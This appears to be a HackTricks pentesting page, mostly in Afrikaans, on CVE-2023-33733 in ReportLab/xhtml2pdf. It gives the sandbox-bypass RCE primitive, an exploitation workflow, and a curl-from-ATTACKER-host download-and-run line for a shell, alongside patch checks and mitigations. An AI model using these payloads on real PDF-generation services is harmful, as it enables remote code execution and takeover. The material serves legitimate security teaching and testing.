ReportLab/xhtml2pdf [[[…]]] expression-evaluation RCE (CVE-2023-33733)

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Hierdie bladsy dokumenteer ’n praktiese sandbox escape en RCE-primitive in ReportLab’s rl_safe_eval wat deur xhtml2pdf en ander PDF-generation pipelines gebruik word wanneer user-controlled HTML in PDF’s gerender word.

CVE-2023-33733 beïnvloed ReportLab weergawes tot en met 3.6.12. In sekere attribuutskontekste (byvoorbeeld color) word waardes wat in driedubbele hakies [[[ … ]]] verpak is, server-side deur rl_safe_eval geëvalueer. Deur ’n payload te vorm wat van ’n whitelisted builtin (pow) na sy Python function globals pivot, kan ’n aanvaller die os module bereik en opdragte uitvoer.

Key points

  • Trigger: inject [[[ … ]]] into evaluated attributes such as within markup parsed by ReportLab/xhtml2pdf.
  • Sandbox: rl_safe_eval vervang gevaarlike builtins maar geëvalueerde functions blootstel nog steeds func.globals.
  • Bypass: skep ’n tydelike klas Word om rl_safe_eval se naamkontroles te omseil en toegang tot die string “globals” te kry terwyl geblokkeerde dunder-filtering vermy word.
  • RCE: getattr(pow, Word('__globals__'))['os'].system('<cmd>')
  • Stability: Return ’n geldige waarde vir die attribuut ná uitvoering (vir color, gebruik and ‘red’).

Wanneer om te toets

  • Toepassings wat HTML-to-PDF export blootstel (profiles, invoices, reports) en xhtml2pdf/ReportLab in PDF metadata of HTTP response comments wys.
  • exiftool profile.pdf | egrep ‘Producer|Title|Creator’ → “xhtml2pdf” producer
  • HTTP response vir PDF begin dikwels met ’n ReportLab generator comment

Hoe die sandbox bypass werk

  • rl_safe_eval verwyder of vervang baie builtins (getattr, type, pow, …) en pas naamfiltering toe om attributen wat begin met __ of in ’n denylist is te weier.
  • Safe functions leef egter in ’n globals-dictionary wat toeganklik is as func.globals.
  • Gebruik type(type(1)) om die regte builtin type-funksie te herwin (byna die ReportLab wrapper omseil), en definieer dan ’n Word klas wat van str aflei met gemuteerde vergelykingsgedrag sodat:
  • .startswith(‘’) → always False (om die naam startswith(‘’) check te omseil)
  • .eq returns False only at first comparison (om denylist-lidmaatskap kontroles te omseil) en True daarna (sodat Python getattr werk)
  • .hash equals hash(str(self))
  • Daarmee sal getattr(pow, Word(‘globals’)) die globals dict van die ingewrapte pow-funksie teruggee, wat ’n geïmporteerde os module insluit. Dan: ['os'].system('<cmd>').

Minimal exploitation pattern (attribute example) Place payload inside an evaluated attribute and ensure it returns a valid attribute value via boolean and ‘red’.

exploit

  • Die list-comprehension vorm laat ’n enkele uitdrukking toe wat deur rl_safe_eval aanvaarbaar is.
  • Die afsluitende and ‘red’ gee ’n geldige CSS color terug sodat die rendering nie breek nie.
  • Vervang die command soos benodig; gebruik ping om uitvoering te verifieer met tcpdump.

Operasionele werkvloeie

  1. Identifiseer PDF generator
  • PDF Producer wys xhtml2pdf; HTTP response bevat ’n ReportLab comment.
  1. Vind ’n invoerveld wat in die PDF gereflekteer word (bv. profile bio/description) en trigger ’n export.
  2. Verifieer uitvoering met low-noise ICMP
  • Run: sudo tcpdump -ni <iface> icmp
  • Payload: … system('ping <your_ip>')
  • Windows stuur dikwels presies vier echo requests standaard.
  1. Stel ’n shell vas
  • Vir Windows is ’n betroubare twee-stap benadering nuttig om kwotasie/encoding probleme te vermy:
  • Stage 1 (download):

exploit

  • Stage 2 (execute):

exploit

  • Vir Linux teikens is ’n soortgelyke twee-stap met curl/wget moontlik:
  • system(‘curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s’)

Notas en wenke

  • Attribuutkontekste: color is ’n bekende geëvalueerde attribuut; ander attribuutlokasies in ReportLab markup mag ook uitdrukkings evalueer. As een plek gesanitiseer word, probeer ander wat in die PDF vloei gerender word (verskillende velde, tabelstyle, ens.).
  • Quoting: Hou commands kompakt. Twee-stap downloads verminder drasties kwotasie- en escaping-probleme.
  • Betroubaarheid: As exports gecache of in ’n queue gaan, varieer die payload effens (bv. ewekansige path of query) om caching te omseil.

Patch status (2024–2025) and identifying backports

  • 3.6.13 (27 Apr 2023) het colors.toColor herskryf na ’n AST-walk parser; nuwer 4.x release behou hierdie pad. Forcing rl_settings.toColorCanUse na rl_safe_eval of rl_extended_literal_eval heraktiveer die kwesbare evaluator selfs op huidige weergawes.
  • Verskeie distribusies stuur backported fixes terwyl hulle weergawe-nommers soos 3.6.12-1+deb12u1 behou; moenie uitsluitlik op die semantiese weergawe staatmaak nie. Grep colors.py vir ast.parse of inspekteer toColor by runtime om te bevestig dat die veilige parser in gebruik is (sien vinnige check hieronder).
  • Quick local check to see whether the AST-based fix is present:
python - <<'PY'
import inspect
from reportlab.lib import colors
src = inspect.getsource(colors.toColor)
print('AST-based toColor' if 'ast.parse' in src else 'rl_safe_eval still reachable')
PY

Mitigasies en opsporing

  • Werk ReportLab op na 3.6.13 of later (CVE-2023-33733 reggestel). Volg ook sekuriteitsadvies in distro packages.
  • Moet nie gebruikersbeheerde HTML/markup direk in xhtml2pdf/ReportLab invoer sonder streng sanitisering nie. Verwyder/weier [[[…]]] evaluasie-konstruksies en vendor-spesifieke tags wanneer invoer onbetroubaar is.
  • Oorweeg om rl_safe_eval gebruik heeltemal uit te skakel of te omsluit vir onbetroubare invoer.
  • Monitor vir verdagte uitgaande verbindings tydens PDF-generering (bv. ICMP/HTTP van app servers wanneer dokumente uitgevoer word).

References

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks